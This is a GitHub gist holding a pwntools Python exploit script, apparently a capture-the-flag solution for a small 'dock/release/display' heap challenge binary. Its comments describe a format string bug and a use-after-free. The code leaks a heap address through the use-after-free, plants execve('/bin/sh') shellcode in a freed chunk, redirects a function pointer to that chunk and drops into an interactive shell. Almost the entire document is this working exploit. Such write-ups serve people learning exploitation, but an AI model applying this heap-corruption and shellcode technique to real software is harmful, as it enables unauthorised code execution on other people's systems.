Last active
December 13, 2020 14:21
-
-
Save farazsth98/09122773eb9bf62089471827df192daf to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
from pwn import * | |
context.arch = "amd64" | |
''' | |
Bug 1 - printf(hanger[msg]) in the display() function is a format | |
string bug. My exploit doesn't use it though. | |
Bug 2 - The release choice will free the docked chunk, but not set | |
it to NULL, which results in a UAF through the display() | |
function, as well as the hanger_msg() function, since | |
hanger_msg() will allocate a chunk thats the exact same | |
size as a docked chunk (it essentially lets you control | |
the contents of a freed chunk completely) | |
''' | |
p = process("./bin") | |
#p = remote("exploit-5", 1300) | |
def dock(model, fuel): | |
p.sendlineafter(">>> ", "1") | |
p.sendlineafter(":\n", model) | |
p.sendlineafter(":\n", str(fuel)) | |
def display(bay): | |
p.sendlineafter(">>> ", "2") | |
p.sendlineafter(":\n", str(bay)) | |
def release(bay): | |
p.sendlineafter(">>> ", "3") | |
p.sendlineafter(":\n", str(bay)) | |
def hanger_msg(msg): | |
p.sendlineafter(">>> ", "4") | |
p.sendlineafter(":\n", msg) | |
# Dock objects essentially have a 16 byte name, then 8 bytes of fuel, and | |
# finally a function pointer, for a total of 32 bytes (or 0x20 bytes). | |
# We create two here to prepare to leak a heap address | |
dock("AAAA", 1) # 0 | |
dock("AAAA", 1) # 1 | |
# Free them, chunk 0's first 8 bytes will point to chunk 1 because that's how | |
# the allocator keeps track of the free list (chunk 0 will essentially become | |
# a free list node, and the first 8 bytes will basically be the next pointer to | |
# whatever the previous node is on the free list, which will be chunk 1 because | |
# we freed it just before chunk 0). | |
# Chunk 1's next pointer is just NULL | |
release(1) | |
release(0) | |
# Use after free, display chunk 0 to get the heap address of chunk 1 | |
display(0) | |
# Heap leak, parse the bytes into a number | |
p.recvuntil("Model: ") | |
heap_leak = int.from_bytes(p.recvuntil(",")[:-1], byteorder="little") | |
log.info("Heap leak: " + hex(heap_leak)) | |
# Our plan is to do execve("/bin/sh", NULL, [NULL]) using shellcode. System | |
# call calling conventions dictate that RDI, RSI, and RDX are the 1st, 2nd, and | |
# 3rd arguments, while RAX should be set to the system call number (0x3b for | |
# execve). | |
# | |
# Using GDB to view the heap around the leaked area (and checking the register | |
# states at the time of the function pointer being called), you will see that | |
# RDX = RDI = heap_leak (if I remember correctly). Knowing this, I do the | |
# following for the shellcode: | |
# 1. Set RDI to heap_leak + 0x10, and ensure that at that place in the heap, | |
# I'll put a "/bin/sh" string for the first argument. | |
# 2. I `xor rsi, rsi` to zero out RSI as required | |
# 3. Set RAX to 0x3b and then syscall for execve | |
sc = asm(r""" | |
mov rdi, {} | |
xor rsi, rsi | |
mov rax, 0x3b | |
syscall | |
""".format(heap_leak+0x10)) | |
# Remember that hanger_msg will allocate the same amount of memory as the | |
# dock() does above, so this first hanger_msg will overwrite chunk 0 with | |
# shellcode | |
hanger_msg(sc) # 0 | |
# This hanger_msg will allocate and overwrite chunk 1. | |
# | |
# heap_leak points here, we have to set the first 8 bytes to zero as thats | |
# where RDX points (remember the last argument of execve is [NULL], which is | |
# a pointer to a NULL value). | |
# We put the "/bin/sh" string at heap_leak+0x10 as that's where RDI points, | |
# and RDI is the first argument. | |
# Finally, we overwrite the function pointer to point to chunk 0, which is | |
# always 0x30 bytes above chunk 1 (i.e 0x30 bytes above heap_leak). Use GDB | |
# to see this. | |
hanger_msg(b"\x00"*0x10 + b"/bin/sh\x00" + p64(heap_leak-0x30)) | |
# Finally, attempting to display chunk 1 will call the function pointer, which | |
# points to chunk 0, which has our shellcode. | |
display(1) | |
# We get shell | |
p.interactive() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment